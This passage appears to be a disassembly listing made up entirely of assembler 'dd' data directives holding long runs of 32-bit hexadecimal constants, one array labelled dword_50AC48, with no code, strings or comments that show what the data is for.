		dd 1D09E9h, 2EF86C4Dh, 46780610h, 9B88BF5Eh, 905000F7h
		dd 0ACEB7D3Bh, 6D50F881h, 7FB285A6h, 7C60448Dh,	26EFCA5Dh
		dd 60645720h, 27491B97h, 59367400h, 95A8252h, 1F2928EFh
		dd 0DD8015B7h, 81018008h, 7C68C1C7h, 0B9909334h, 47DB9E85h
		dd 9DBE380h, 8988519Dh,	8D7795BDh, 9B2F7A26h, 0D6C82CFh
		dd 880061BBh, 0D0801D40h, 852938AFh, 0D377D6CBh, 30184BDh
		dd 0F9B52904h, 0A9DE6255h, 0B3545708h, 88135E63h, 30A676h
		dd 0C9DCEDAh, 0CC2F8C8Dh, 0FF5C7803h, 2E99E4Ch,	0D50FBFBEh
		dd 0A84F0B7Bh, 0EFC032C7h, 503ED8C5h, 0DC54C652h, 3420909Ch
		dd 6EBA6CF9h, 63F40061h, 0F6ED3B20h, 1F740D5Eh,	69AFF5BAh
		dd 0CC6B8DCh, 0F28B793Ch, 0EC9A7DA4h, 91E0E48Dh, 9D56D782h
		dd 89FC262h, 0D891411h,	2B60E574h, 83329D8Dh, 14F5EB4Ch
		dd 9CFB147Dh, 0C4FE0DB7h, 52012CE9h, 6CE5B509h,	2C593F57h
		dd 0DEE71Ah, 79D8721Ah,	0EACB4E61h, 0C109714Ch,	0E3C52FFBh
		dd 357EAEE8h, 0E2A38868h, 0CCF00A6h, 1DF14EA7h,	4FCC07B4h
		dd 3084CBD0h, 0BEE928D6h, 11DC1F95h, 0F7428316h, 0FF3C5C17h
		dd 10B91A4Fh, 3F023755h, 62766701h, 711C3EA2h, 4E48A63Dh
		dd 11102DEh, 8B0F3B59h,	28BDBDD9h, 89095324h, 722F9DB5h
		dd 1F8D25F2h, 0E82C113Dh, 9619A2CFh, 41FE60Fh, 4AD1F1BAh
		dd 10F5FD3Dh, 8A131511h, 8092DBC5h, 6ED6AE59h, 816601BEh
		dd 8B9F62C1h, 0C36E2BC0h, 0E2099705h, 635A403Ah, 8733868Fh
		dd 2D7AAB5Bh, 1D9ABA4Ah, 9F5E3888h, 8EC0B14Dh, 0E4C0C86h
		dd 830F6E15h, 0C5C1FDBh, 0D0ADC975h, 7820B300h,	93024614h
		dd 0AEFD4A9h, 798D8BD3h, 0D4A4DEh, 45D984B5h, 574BF66h
		dd 0C529030h, 955B6777h, 616008E0h, 0F4575680h,	0AE0955Fh
		dd 5D1A0BBBh, 739E776Bh, 0AB777024h, 3D867100h,	7EBA2C6Fh
		dd 0CB8102DCh, 5F6B04F2h, 960037D1h, 4FD11C72h,	6EB2698Fh
		dd 0C70847Bh, 36841C11h, 34D50B29h, 0F8DC2B98h,	461A3E00h
		dd 0AF032449h, 0A3CD0AEAh, 29BB5E0h, 64836F7h, 8270697Bh
		dd 0A18D1709h, 0C0CAC006h, 0D93F8B05h, 9FCCDE90h, 7B21715Dh
		dd 0B8063B3Dh, 0D23AF600h, 0D666ADD3h, 8138D1EEh, 5B90A75Bh
		dd 0FA570A9h, 0ABFA7B0Eh, 542469AAh, 23782E33h,	0BA17D8ABh
		dd 1F16B702h, 51A18A2Ch, 87AA455h, 810002C5h, 0B293F7C3h
		dd 606ACB0Eh, 0AD472618h, 46817200h, 65D11226h,	61CA2F8Ah
		dd 0EA12266h, 78AFF0EBh, 89BD8D71h, 0E0DFED1Eh,	5D7291D0h
		dd 8BCE9002h, 6926099Dh, 0AC79D1C5h, 0CC0018B8h, 678A4273h
		dd 53E6BC84h, 0C513EEF5h, 2D1DB99h, 8D898BA5h, 4A70704Dh
		dd 41DDBE5Fh, 0E925D43Ah, 6BB864h, 0BB66D387h, 26A9709h
		dd 0A96C1AB8h, 41510C71h, 9F823E1Ah, 0EC62B0Bh,	1ADCBF05h
		dd 0CBBC0763h, 0CD67BB02h, 0D5864897h, 85E64D6Dh, 17094D20h
		dd 0B20E5AE9h, 3701C48Ch, 0A39BAA84h, 0D1C04BC0h, 0B14CB52Bh
		dd 1D6110D4h, 0CD094D48h, 0B7C67B2Dh, 0E2122C4h, 5812E814h
		dd 0F51E098Bh, 5357C200h, 0AE92DFB7h, 0EA9D012Dh, 0E1DC5784h
		dd 0ECABF964h, 0ABE0D622h, 0F4558231h, 0BA76808h, 4AF32F39h
		dd 3A306093h, 2C8E23h, 4061F34Bh, 0B59FDEC5h, 6AC7FD12h
		dd 0C600FAF2h, 81F5239Eh, 0B9044567h, 0D4C496ECh, 95A9BF07h
		dd 3194AC5Ah, 0FF6AE101h, 44456920h, 0CEBEB515h, 0E427FFA0h
		dd 2217848Eh, 6DF2E906h, 0CB7780B7h, 411E51C2h,	0DBC23B03h
		dd 0E4F90033h, 8B2D6671h, 0D4E4C9DFh, 0C1283DB1h, 0B6C30731h
		dd 658410C8h, 2A885F1Eh, 0BCF060h, 0F4C1B826h, 8B2808CBh
		dd 0FB5BFB27h, 0C2D91EA9h, 71D780C1h, 0FC4FEE78h, 30B3E800h
		dd 2531C82Bh, 7FDAE5BDh, 0DE6E1A3h, 1910D162h, 0C9D17C0Dh
		dd 8400B9F6h, 65858B63h, 96B7801Fh, 750CA98h, 7D6A438Fh
		dd 0CD881A0Eh, 0D03B0C28h, 408A11EEh, 0AC95566h, 52E951A4h
		dd 36162FBh, 8EECCD5Ch,	8C0C4B2Dh, 375484C9h, 0ADDF211Bh
		dd 61BA5D4h, 0F99D23FEh, 22894F1Bh, 0C65E60BCh,	0D0EC9340h
		dd 0C6F06Eh, 0AF94DAB6h, 68F275F5h, 581257FAh, 79E261F9h
		dd 73B58D04h, 0B99DC4CDh, 0FE4FB8C4h, 726505EBh, 0AE6A79C9h
		dd 3800E86Fh, 6493F3BDh, 0CEA3C795h, 2EA6E7B9h,	2B42BBD9h
		dd 87B9011Dh, 33DE3F07h, 0C4362980h, 3E007D74h,	0BFFB1A45h
		dd 5055BBB9h, 0B3FCCB4Eh, 0FCB878EFh, 9DC32B6h,	7B9C3BC1h
		dd 60019964h, 107AD723h, 88C0C672h, 4BA80A96h, 28922A6Fh
		dd 0E6B85295h, 89105548h, 4FBA382Bh, 5BB0D9E7h,	0D001718Dh
		dd 800D9BBDh, 8C3098E7h, 602E40B3h, 0B8DE8B00h,	142A8950h
		dd 33AD0C61h, 0D06AD1C2h, 4E98305h, 406BF475h, 931DC00h
		dd 880D33F4h, 248D3198h, 0D0BD16Bh, 234C3FADh, 234171D6h
		dd 4A5D95D8h, 80FE9E2Fh, 8F293FA5h, 0EF42486Ch,	0A104534Fh
		dd 2BF46504h, 976BBEh, 221741ECh, 0C798492h, 5E8CE75h
		dd 2C0C3A23h, 749D0F57h, 505F88A9h, 18F4C2F0h, 8C10337h
		dd 64CD958Eh, 2BE65819h
dword_50AC48	dd 485814E0h, 5AA2A601h, 3E019C29h, 36498A61h, 286E7Fh
		dd 394AB55Ah, 985297EAh, 30D120B4h, 0AD207AB0h,	0CD84BF2Ch
		dd 0ECD5E98Bh, 0B1E53FA1h, 0DE090B00h, 0D59D893Bh, 21E390B5h
		dd 63B88104h, 0A5BE7BDDh, 0F668D9Ch, 0CFCD7725h, 2D2B69E0h
		dd 97CC02DCh, 0F823B354h, 1EF9DE82h, 0D4E1FF02h, 5B14DC5Ch
		dd 10980E8Fh, 0D2C41071h, 0A77AEE04h, 52FAF000h, 0C1A5CA5h
		dd 75529EE0h, 43012032h, 729A4BBBh, 22401B8Eh, 0ED8D8946h
		dd 3210B5AAh, 86220F03h, 90C9853h, 601D78C7h, 0D06BDC76h
		dd 92525842h, 5F3B8130h, 44FE180h, 7080B1DBh, 0FC18E5Eh
		dd 4C52814Bh, 0FAB57B09h, 61F80AA5h, 0E82C90Ah,	9B1601B7h
		dd 97A8C736h, 0EDB67300h, 0BFEEB083h, 820F95A2h, 0CF0B04F1h
		dd 0D55682AEh, 0F400740Ah, 0FF234800h, 0A9859C0Dh, 40B29EC6h
		dd 921481B0h, 0B3CC1601h, 0BD853374h, 0CC766171h, 0D3E866F0h
		dd 0A0D8231Eh, 817D531Ch, 5A310F52h, 8D415F58h,	2F5A2404h
		dd 237745C0h, 8D486ADCh, 31DB030Dh, 0A59D0B44h,	6FAA9125h
		dd 0D0EE4A72h, 175B0661h, 1A978C4Bh, 1F03FF01h,	0AFF087Bh
		dd 8EB66085h, 77616F22h, 2CDE4E07h, 0F4E8BB63h,	0F05B793Dh
		dd 0F606EA0h, 42C28052h, 27B70E21h, 53E69261h, 3C5BB5E0h
		dd 6E7EBC12h, 13A55D44h, 9DAE0116h, 384A6836h, 67E179ABh
		dd 0A6F6B080h, 608C10B0h, 29D51075h, 3B7A9F48h,	6E5B47B7h
		dd 378069Dh, 7156FEA3h,	0CFE9802Dh, 86A2B792h, 3A60930Dh
		dd 428077DBh, 56F92C91h, 0D19F90B5h, 0A73C0094h, 39951EBEh
		dd 0C17FBD89h, 0C7598482h, 700BBCAFh, 14DCEBBCh, 0C9F98BA3h
		dd 0EFBF5C34h, 8601546Fh, 6F8938D0h, 0D91C3078h, 8D0492AAh
		dd 0E654D50Dh, 89F8E1DEh, 6A69E152h, 7F3D4CB2h,	44601FCh
		dd 96DFB70Fh, 103DE8h, 30B4E1BDh, 1D115BB8h, 26242739h
		dd 2051164h, 887F09BFh,	6656E050h, 561D90BBh, 78F2A696h
		dd 2416F70h, 0FD39B68h,	95537DEFh, 5215227Bh, 61D35E5Dh
		dd 19D9BDh, 1216685Bh, 8EE059Dh, 8A620ACAh, 53CC40F8h
		dd 4CCE905Bh, 0E9025C81h, 0E8121966h, 0C13A4B83h, 0BF7BF2D0h
		dd 6099FD00h, 18E01078h, 0D20D1EADh, 19654A9Ch,	1D8108ADh
		dd 3A8D5F09h, 60586D95h, 312BBDA0h, 90F8C9A0h, 50179B9Ch
		dd 268045ACh, 8DD4974Ch, 0D301447Eh, 9B51F274h,	9B2E90A1h
		dd 75D3809Dh, 9B6357E0h, 12E92022h, 0E261FB33h,	0D0B000Ah
		dd 0DC408270h, 16E67691h, 3685C725h, 409329F3h,	9E75478h
		dd 552BB12Fh, 0AE25AED4h, 96ABD4AFh, 362F884Dh,	0C2E9DB3Fh
		dd 850A68E0h, 4DEEDBB1h, 452321B7h, 50952043h, 11510C30h
		dd 0C101CC88h, 6710E83Dh, 4C07020Eh, 5A5803E2h,	0EBE71B93h
		dd 8BC3636h, 2CDC7364h,	2950661Bh, 18812128h, 1139A58h
		dd 271B1357h, 2758C0AEh, 0C4E29B25h, 0B3210012h, 89B069FEh
		dd 5400C257h, 0A2A439FCh, 0BA352A0h, 0DD6E473Fh, 8517D194h
		dd 817B0456h, 5C120772h, 39DE3719h, 68F1CA05h, 35AF21E2h
		dd 69B25440h, 0E616001Ch, 0E5CFBBBFh, 11986D57h, 2D0F3481h
		dd 39B04A34h, 7A3FF599h, 53EB0015h, 0A2B48B87h,	0D3BBA010h
		dd 4E5828h, 0FD735434h,	136B802h, 259CAD61h, 2FC74FF4h
		dd 0CD2B0AC7h, 2CD5E10Ah, 43EBF878h, 729A6A04h,	75806050h
		dd 2E8961F1h, 88252434h, 0BE3E25C5h, 29ED6DAh, 0C2758DBFh
		dd 19D823Fh, 8AE10F1Eh,	3AC68BD4h, 7C179484h, 0AF805D9Bh
		dd 0B05F22B2h, 2FF96F02h, 72559529h, 612B90E7h,	399D0D2Eh
		dd 86890003h, 7A6BE1C4h, 13B71640h, 80C268ACh, 1F794FEBh
		dd 0DD9D3184h, 0C2E24BFBh, 0BDEB6D6h, 0E0366DD2h, 8941F7DCh
		dd 6E6F2050h, 88FA02C9h, 0E0C2D010h, 1E5DCFCh, 0EF80706Eh
		dd 44870FD3h, 169EC23Eh, 40F2D62Bh, 0F9A1E375h,	2B435900h
		dd 94A3210Fh, 0BFB93C36h, 5E575879h, 3DCAA010h,	0B6FEA80Fh
		dd 9F60B845h, 691B7E1h,	9E1C7B60h, 7ABE0420h, 9D16B8D9h
		dd 0B86D2923h, 9DEE0109h, 0B6C03AECh, 0D6437C6Ch, 0D2B8A1A9h
		dd 8EBD5504h, 268233A6h, 1271C424h, 5550F785h, 78BCDF8Ah
		dd 516CD402h, 921F4E0Dh, 2045F7Fh, 17D9210Ah, 287E7A6Ah
		dd 0DB4CCB68h, 21B53FA5h, 3F651644h, 1192387h, 0F91A1397h
		dd 0F7229E6Ch, 7CA20E80h, 9650F88Bh, 8E25B964h,	0DE977F71h
		dd 4A9C9F11h, 768715DBh, 0E48AD0CEh, 0D42C831Ch, 0BF05C7C9h
		dd 0A3162BD9h, 1623A46Ah, 0A0B30305h, 14DAF283h, 0C2C48056h
		dd 602E7D10h, 698D77EAh, 9737AC09h, 22019B35h, 63D26A1Bh
		dd 2C70202Eh, 0C009E21Fh, 5F27EBCEh, 3527C17Bh,	0D5F900E3h
		dd 1A83FA23h, 4804909h,	0D1CB0545h, 9285B18Ch, 0C024837h
		dd 897C4322h, 0FF212D4Ah, 87041591h, 0E8880815h, 0C2638013h
		dd 0C439DC68h, 6A52B100h, 0DA506123h, 9A3A1F6Eh, 33A88229h
		dd 1FC8F9BDh, 0C995C65Fh, 356FFE17h, 0D5E3819Bh, 85C70003h
		dd 0B7819259h, 0CEC0CD6Fh, 0EDE664h, 10DA6AB3h,	0FFF26DE9h
		dd 92366AE3h, 2E2522F6h, 9D9C158h, 799E56C3h, 4FFAC99h
		dd 0F0C9B750h, 9D142361h, 82D40FD5h, 7C498D29h,	0D15D4922h
		dd 8AF986C6h, 190B50FCh, 0F6064847h, 4700DC46h,	23803EBEh
		dd 261C89B7h, 8B09136h,	64250A6Dh, 0A6D33E39h, 987BA580h
		dd 3ED2A770h, 380F4C00h, 337C87AEh, 3C566295h, 7672225Dh
		dd 5C4FE297h, 8CD2552h,	0E3C214C0h, 2FB8C4h, 0BF50A3F5h
		dd 75737DB9h, 37759DA2h, 381C80D0h, 0CB8FDE35h,	0D3BBA528h
		dd 70F8DF25h, 2750E67Fh, 0DC129D0Bh, 6014057Ah,	84C5820Fh
		dd 0E7C05A51h, 0B761CF71h, 189BC0CEh, 121C1158h, 0F7BED63Eh
		dd 0F071434Ah, 6B355Fh,	7AE6AB16h, 159BBBB9h, 7797C27Ah
		dd 0D1FFCA10h, 3F191195h, 0F243360h, 5CB8DB5Ah,	3A638600h
		dd 0FB4B4DBDh, 891F22DAh, 0B1E8AD9Dh, 0CEAA5002h, 300004C6h
		dd 8AC60CC0h, 0EB73503h, 3F8BB0FBh, 0A6314321h,	93B76209h
		dd 0B500E06Bh, 5BEF0B0Fh, 9E50F48Eh, 601FCBEAh,	0D9389B6h
		dd 913BF8BDh, 1022CB4Bh, 17F84723h, 128E048Ch, 0E2566189h
		dd 8C3D005Ch, 0C5603CFFh, 6AAC09BEh, 1A795BFDh,	704653A5h
		dd 0CF121BCDh, 5740A0E7h, 630757BBh, 60503B6Ah,	0C1C27080h
		dd 0E50FBF4Dh, 613E7615h, 0B1007FC9h, 17E081C8h, 0FB36B62Eh
		dd 9D44732Fh, 1072A8Ah,	5E0DA562h, 8DE8534Ah, 2821CE1h
		dd 7F1E85FFh, 0CD9F9A16h, 819F453Dh, 2F2FA52Fh,	0ED834027h
		dd 8D6D0824h, 0B59713C5h, 622ECDF5h, 0F1D24642h, 8B0D930h
		dd 2E70E6FAh, 112971E4h, 0E3BF0205h, 5E3F2F8Dh,	3B299A41h
		dd 0C125B450h, 0BD40E897h, 0E6254E35h, 0E38101BFh, 4FFDA7BCh
		dd 0F20F631h, 0F2B2D0BFh, 61F7C24Ah, 1424395Eh,	0DC57C709h
		dd 799D8978h, 91BC771h,	53C8E1E1h, 0AFD9202Fh, 0CA129019h
		dd 0C10108C4h, 2E3BCBE5h, 5B05D53Dh, 0E8D18B5Fh, 20B58E18h
		dd 6674571Bh, 2B4A1F4Fh, 0E9FA8614h, 0F8A62328h, 0B7844000h
		dd 5D9C4530h, 0FE6D0E2Ah, 44053263h, 151440DCh,	3D66021Ch
		dd 680003F2h, 0D32DC097h, 0B0775196h, 7529B7EEh, 910677Ch
		dd 0DE84864Bh, 91C7D28h, 45E241E1h, 862D2F03h, 2F12E88h
		dd 1862E90Bh, 97086DE8h, 8012A7CEh, 83F207CFh, 0E8504A22h
		dd 6CFEB45Dh, 0C2ACD600h, 1AD1A18Bh, 0E6F00BEFh, 1A84D421h
		dd 82A85003h, 0E4398509h, 36A5516Eh, 1514236Ch,	7A90DA0Ah
		dd 8595624h, 0C82032B5h
		dd 0A3E59D5Fh, 0A796612Eh, 0B0F777D7h, 33615AEAh, 3D6233E9h
		dd 29BF7150h, 813F2141h, 0A0EEFA76h, 3D2FC662h,	79BCD30Ah
		dd 24B181Ah, 5A09BF67h,	10751DCEh, 2D0CF69Ch, 21A0F35Ch
		dd 0B646113Eh, 4B655A01h, 0E42B96Ah, 89179E7Fh,	0EA10744Bh
		dd 7DA709A5h, 6061B478h, 566FC310h, 6C21EE2Bh, 0DBFE615Eh
		dd 2E16704Dh, 0B607E609h, 3DAD18F9h, 7CB00436h,	0C2A4918Ah
		dd 57614203h, 3D7DC2B8h, 0BAD3800Ah, 0FDB7A77Bh, 0BEC7C11Ch
		dd 0D8D22B49h, 8D36978Eh, 2D476B4h, 0D87023ABh,	8475E267h
		dd 954F2F43h, 0D082508h, 4E9AC88h, 5623399Dh, 342B7DCDh
		dd 4E63E3DDh, 3DF49188h, 0BA761E8h, 1BC1FB82h, 79B9F907h
		dd 0BBB0AD6Eh, 2141E195h, 62452B2Eh, 751DC930h,	0EF00123Dh
		dd 8C5928F6h, 0BFA05DBh, 0C88F0FA8h, 464BB3F1h,	872224CAh
		dd 0FC948EECh, 0B84E3564h, 0ED1AB917h, 9AAD9DEh, 0A85CC787h
		dd 3B634178h, 0A6A54B5Fh, 0FC1230E6h, 0FCA6E1FFh, 0D05DBE0h
		dd 88873A13h, 0A88018ECh, 0A16E23A9h, 0F6961E07h, 9D856091h
		dd 61CA44BFh, 0A220BC5Fh, 13D32821h, 2EE8E1ADh,	8A290128h
		dd 0E651DC56h, 9BAB84D3h, 3E2BC056h, 13BF666Bh,	0BD60B6BAh
		dd 95B5848Ah, 8C1764FDh, 819CDBD9h, 0E35A9CCCh,	0CD73668Bh
		dd 13A51B80h, 89974E17h, 0C9BBED20h, 53406BF4h,	12BA14BFh
		dd 0F45B1BEAh, 0FB8A2D19h, 0F9958BABh, 0BF5BAD29h, 96181759h
		dd 2578BB09h, 0F27190h,	36EC5948h, 52C816A1h, 0BB10800Eh
		dd 0E6B5CE22h, 69AD5C00h, 0AEF28B45h, 0BEC49579h, 7300CAEAh
		dd 57A2A5E0h, 1531C5B5h, 0F1905FB0h, 642011BCh,	0C44FEE23h
		dd 874D6844h, 0C006BDEh, 0B4F678BAh, 8161E300h,	1B22434h
		dd 203FFF1Fh, 453C527Ah, 0F1CD2000h, 0A03EDEC2h, 0F5C7021Eh
		dd 5F69D01Dh, 0FCE9715Ch, 9C07D451h, 55BD8BB1h,	0A56D7309h
		dd 7214E061h, 0B82080CEh, 1DE222Bh, 3836B51Eh, 0CC2CC23Fh
		dd 0C5988DD6h, 5C8A0244h, 0FB1C0CC3h, 0BDCD2D01h, 38574FE0h
		dd 251277A6h, 8FC60C3Bh, 0C770C5E6h, 0CC881845h, 0B3121A15h
		dd 0DA9246E2h, 41F68E7Dh, 8908A90Fh, 971F1560h,	16914437h
		dd 48C6EA81h, 4E6F2F89h, 7A2DB101h, 3CA9FBBEh, 0C9F25E67h
		dd 53C31A00h, 810909Fh,	0A6C770Fh, 49CB40D2h, 9D67C4F7h
		dd 0D7D4B832h, 6FAF6E41h, 1F9152DCh, 4225BE1Ch,	977CCBE8h
		dd 0B1208D5Ch, 2E2BCD20h, 38725750h, 1B0C635h, 9EEB8064h
		dd 28842F29h, 0F6D352ADh, 7910E7C6h, 1DAD57EAh,	0C168DB82h
		dd 0B39043EFh, 58072E5Fh, 6FD41486h, 0A3B8A0F9h, 78DA4201h
		dd 4B4CBA2Ah, 54D9206Fh, 0B10E2DBEh, 49168B59h,	596973B5h
		dd 4DC1819h, 28BD378Eh,	6304AF66h, 4FF43F1h, 42065DCh
		dd 0BF825061h, 17B32202h, 79B2BD0h, 0FAE06F78h,	9FD198A4h
		dd 3926DBC6h, 0F6522389h, 710BD46Bh, 0B009DD4Ah, 994BFBDh
		dd 613DB916h, 457092D3h, 0DBFE2095h, 95097D20h,	8012AE96h
		dd 0A8B2FFD3h, 121148Dh, 11A55ACh, 17A724E9h, 429F4166h
		dd 756F565Fh, 0C0BAEDC9h, 30D21911h, 72D79ECh, 80A5E693h
		dd 9F1C49B0h, 85225196h, 0C8F84B21h, 0ADEA76B9h, 7314F000h
		dd 3D758E8Ah, 0C1B2295Ch, 40162C3h, 0E2D75C09h,	0C20B0715h
		dd 0C00F4F36h, 0E740B3A3h, 33870B12h, 15B26CE6h, 4A35D530h
		dd 20E7CDF5h, 974BAF72h, 6A2E459Dh, 0F6400BB5h,	80DAD10Bh
		dd 56D4D781h, 629D5E8Ah, 921875BEh, 930039E5h, 13D9374Ah
		dd 23F19D4h, 8C0FE0BDh,	4FED9650h, 7E64A6E1h, 0D139436Ch
		dd 0C4DF8B94h, 291D00ABh, 0FB41683Dh, 202B90EAh, 91A0DC5h
		dd 560DF1BDh, 820B659Fh, 0B8082813h, 0E01ACD6Bh, 0E4DAA6F0h
		dd 0EAD92C02h, 5C27F937h, 0CF80619Bh, 98352EC2h, 8A135EE3h
		dd 80178CF9h, 0C1A4DF25h, 92F60F77h, 70E66C9h, 58598C97h
		dd 0E38130D7h, 0B54A294Dh, 0C44A8AB9h, 0D9E9096Dh, 5A004AE4h
		dd 72869CF8h, 0BB1EACh,	84172320h, 1BD5E16Ch, 8B3A1897h
		dd 391A97D8h, 48DC7876h, 471A5F79h, 60DB402Bh, 2E5D570h
		dd 0BDA13F6Dh, 1F60A6E2h, 0E09129E1h, 5175DBC9h, 0D9053A76h
		dd 0B6E335E5h, 8B509607h, 0F5BF40D9h, 7952FBD1h, 64562537h
		dd 0F401002Eh, 17C6A38Bh, 0F125F51h, 32E7DEBFh,	87AC9C49h
		dd 0CE04B37Eh, 0B86EC867h, 20531CEEh, 453C9495h, 698AD957h
		dd 0BFCC98DFh, 8E581DD4h, 29EDED27h, 3BC80AC0h,	852917F5h
		dd 8063AC54h, 21CA87DCh, 69330010h, 1F3BBA93h, 0BE0418FBh
		dd 3AAA6B09h, 0C1DF64EBh, 4A2EB98Ah, 0DE8A12E1h, 3A560BE3h
		dd 8B601EF0h, 49D8D2Fh,	83BDF97Ch, 14448897h, 0C448B600h
		dd 1931CC96h, 8DFC4BB2h, 0C0D4780Dh, 1E502580h,	0AC320077h
		dd 0E35760DEh, 4912584Bh, 0F8B2A7D6h, 0BD759A89h, 731780D8h
		dd 8651973Fh, 89E31D17h, 71683509h, 750A219h, 0D5DB7DEBh
		dd 0D427A05Dh, 2F03CA9Dh, 0E1800C9Ah, 0F5C6FA21h, 391C93BDh
		dd 5A0842D7h, 40F7AE17h, 0BA0268A8h, 44EAF400h,	64DA267Eh
		dd 59320272h, 17FA4F96h, 7B00DB79h, 0C428DB2Ah,	4E110076h
		dd 0E2CD433Bh, 640E0AD6h, 69FAE0A2h, 0D94F73A6h, 1231815h
		dd 0E9C1B7BEh, 7CFFF362h, 1C0D109Ch, 4F51FB76h,	23DC7164h
		dd 0B589032Eh, 0ACE0A447h, 3D0B798h, 0A2D7BB04h, 8AAF33E1h
		dd 5CD3A035h, 33520988h, 6ED8859Dh, 6ED67FA2h, 0B784DA12h
		dd 0F6A5CFC1h, 0B32B5AF9h, 9D3109F8h, 0BD5F7A3Dh, 0E8E47B7h
		dd 0F2A241FFh, 0AF2F757Fh, 4B6A2C09h, 99E60049h, 51064856h
		dd 6005C781h, 5B26805Ch, 12837BFAh, 56A81812h, 0F9F6CE80h
		dd 4802EA90h, 0E37C9C8h, 81E0C051h, 0C45F8125h,	3A916050h
		dd 72DB80BDh, 0C2B983AFh, 0A82A00D6h, 876A9EEFh, 230903F8h
		dd 52D98AC8h, 0A2ED97EFh, 0EF2E47CEh, 4963BBF0h, 2F80E42Fh
		dd 48DB1ED7h, 0CAD4F6D0h, 93F979DAh, 0BCE0BD6Ah, 5F079856h
		dd 2200B617h, 0FD5C000Bh, 6682A628h, 871AC1BDh,	0F57A43D9h
		dd 0A45950A9h, 0C2791FABh, 13EC36F0h, 0C2147985h, 0FF022AE3h
		dd 518A5CD1h, 26A114Ch,	1DF0D566h, 0BD12F5BBh, 9CE917C9h
		dd 0F86D355Eh, 0A5F04ADDh, 0B4FE4BFh, 585A044Ch, 85936FDEh
		dd 0F53636E5h, 0E912D74Dh, 8480E354h, 51256A3h,	0AE2E2D0Ah
		dd 0B60B627Ah, 8A613774h, 78742EFFh, 82A8DAE9h,	967BEB02h
		dd 5FC0CD89h, 0F56024E2h, 3A3E1EB6h, 0D3F8695Eh, 80237070h
		dd 0E2DE5E0Fh, 3F482209h, 0AD895CD2h, 0F2D9B653h, 0B5AE806Bh
		dd 6E253A9Ah, 0A4EB735Ah, 445F3CFDh, 0B9023DBFh, 0B501C4A1h
		dd 6A804FFEh, 0B853F9B3h, 0FD265C9Fh, 1B581776h, 0F812131Dh
		dd 0FA8B8437h, 0B889FB9h, 0D0499D42h, 0B7B070BFh, 270035C4h
		dd 48CE9F91h, 0D3F14Ch,	1FCCE47Ah, 676AFE42h, 5B94A448h
		dd 2E5B71B4h, 8FD170E6h, 6DA68951h, 0F2971B16h,	2D9D20ADh
		dd 0C9C4A695h, 3060626Bh, 0BA000E1Dh, 25BEBC38h, 0C796107h
		dd 731BFD09h, 317726CCh, 3B2FCD1Ah, 83A5E8C9h, 0F381C060h
		dd 1C8DF91Ch, 66C82B4Ch, 8B104061h, 94A2D14Ah, 0A8DA9200h
		dd 5FFC38FFh, 921AE925h, 40DBD16Bh, 0A61F500Ch,	0F162DF00h
		dd 14099169h, 499A33DAh, 0EB8C8598h, 2501F921h,	0A095262Eh
		dd 120CFF6Eh, 840B8CE4h, 34DB511h, 46B73A22h, 25969859h
		dd 0C7B1AB1h, 0B660C43Fh, 45E138D3h, 40A58361h,	0BB66FE1Eh
		dd 95B71050h, 0E1B551A8h, 648A134Bh, 40E85F10h,	1C9271DDh
		dd 0D900799Dh, 1173619h
		dd 0FC9C2E2Ch, 982B5CA1h, 2BE29DD8h, 0CF0A8988h, 38ABDF5h
		dd 0ADFC1274h, 7042B88Eh, 289701DBh, 3453160h, 228340FCh
		dd 6BE1B872h, 0A4406577h, 0CBC83Ah, 0D2562B9Ch,	0FC5F3EB7h
		dd 0B5B9A04h, 30FDBA6Bh, 449ED9F8h, 0FEADFCC4h,	8C1DFCh
		dd 8AE67B9Bh, 0B99C4123h, 1253505h, 1090C5BDh, 0B646ABBh
		dd 880D5827h, 0AF6837Eh, 1ABE8BA1h, 2EB508D6h, 5189291Dh
		dd 0E99A5C0Ch, 81602EFEh, 25CC73DBh, 11C656A6h,	6C408A9Eh
		dd 12180E15h, 0FF4E315Bh, 2FABF634h, 59A64F5Ch,	0AFB719A0h
		dd 55210BFh, 3F3B001Ah,	8AF35E6Fh, 2E05070Eh, 263D8D89h
		dd 9D9342BBh, 1C57207Dh, 30484544h, 0CC9CFAC9h,	5CE93E09h
		dd 0DDB5611Dh, 0E64F0E2Eh, 0B5BAA089h, 0B175382Ah, 2D15A8E2h
		dd 80E1FF02h, 4E2982BAh, 0E194950Bh, 9D3E6342h,	6BE624A1h
		dd 0C837B727h, 2FB26A00h, 27B8EF92h, 7F647240h,	0D1F01000h
		dd 2004BDBBh, 835B0412h, 0A2DD1685h, 328B00ACh,	37F00658h
		dd 720177Fh, 2049B880h,	975F7129h, 0DC432D14h, 0C5B0D556h
		dd 2004AEFBh, 86646E9Ch, 48D304BCh, 6017177Dh, 0DAB833E9h
		dd 8F6B4C09h, 0CB9A5D9Eh, 10275456h, 706948h, 0B96FF06Eh
		dd 8AFCEF96h, 79FA1100h, 0C38D6D53h, 85F94BACh,	1D280443h
		dd 22B41221h, 4A7B977Dh, 52692DD8h, 414C7DC5h, 0F7157917h
		dd 0BCFA59F7h, 0C4B707F8h, 90BA36A7h, 8B5D6064h, 6C8CDE4Bh
		dd 12BB7550h, 8555591Bh, 4C6EFE02h, 0F132605h, 9885C8Ch
		dd 68ED6AF8h, 73B0B5E7h, 16F52D3Ah, 306D64EBh, 0E3F1FC22h
		dd 0FE55FD00h, 0B41A749Bh, 5C570293h, 0FF4D796Ch, 9131457h
		dd 61595360h, 2A71708Dh, 113688h, 487115B1h, 5F8C09B9h
		dd 52B68B50h, 0DD4B65B0h, 0E8FD1216h, 0A25BB943h, 528300F6h
		dd 0D81CABB4h, 94C3BF73h, 996D3C1Dh, 73585F49h,	26CD7027h
		dd 6E4CEF02h, 0C9908114h, 0B30115DBh, 87742A1Ch, 0B2A07FF6h
		dd 0E1258589h, 0FB642417h, 72D8ACB8h, 0E9802EC5h, 44015A6Eh
		dd 908B5C9h, 0AC7271F5h, 242508C8h, 95766C25h, 0FF5B6EA9h
		dd 98626A78h, 700E09F1h, 6B734631h, 4AB5A5h, 26F7CBD1h
		dd 9D16BB71h, 95ED89FCh, 180F67BCh, 0C2D2258Ah,	0C1B3D712h
		dd 9F41F94Ah, 0E6230A65h, 0A0A3B692h, 176315DBh, 885CCCD3h
		dd 0AC006927h, 0BEC1CFFh, 558D314Ah, 42BCD85h, 0FB950182h
		dd 0D6967249h, 0AAB3629Fh, 0F1DF8841h, 7DA13A2Bh, 0C882762Bh
		dd 8E68F80Fh, 0D0428976h, 75711D00h, 2ACDE5E0h,	0C6576DC0h
		dd 7DC125D3h, 0EE001F44h, 0EC2813ADh, 622717h, 0A6F8B429h
		dd 0E780B952h, 678CFD4Bh, 6D64BF89h, 0C00E904Bh, 20EAB250h
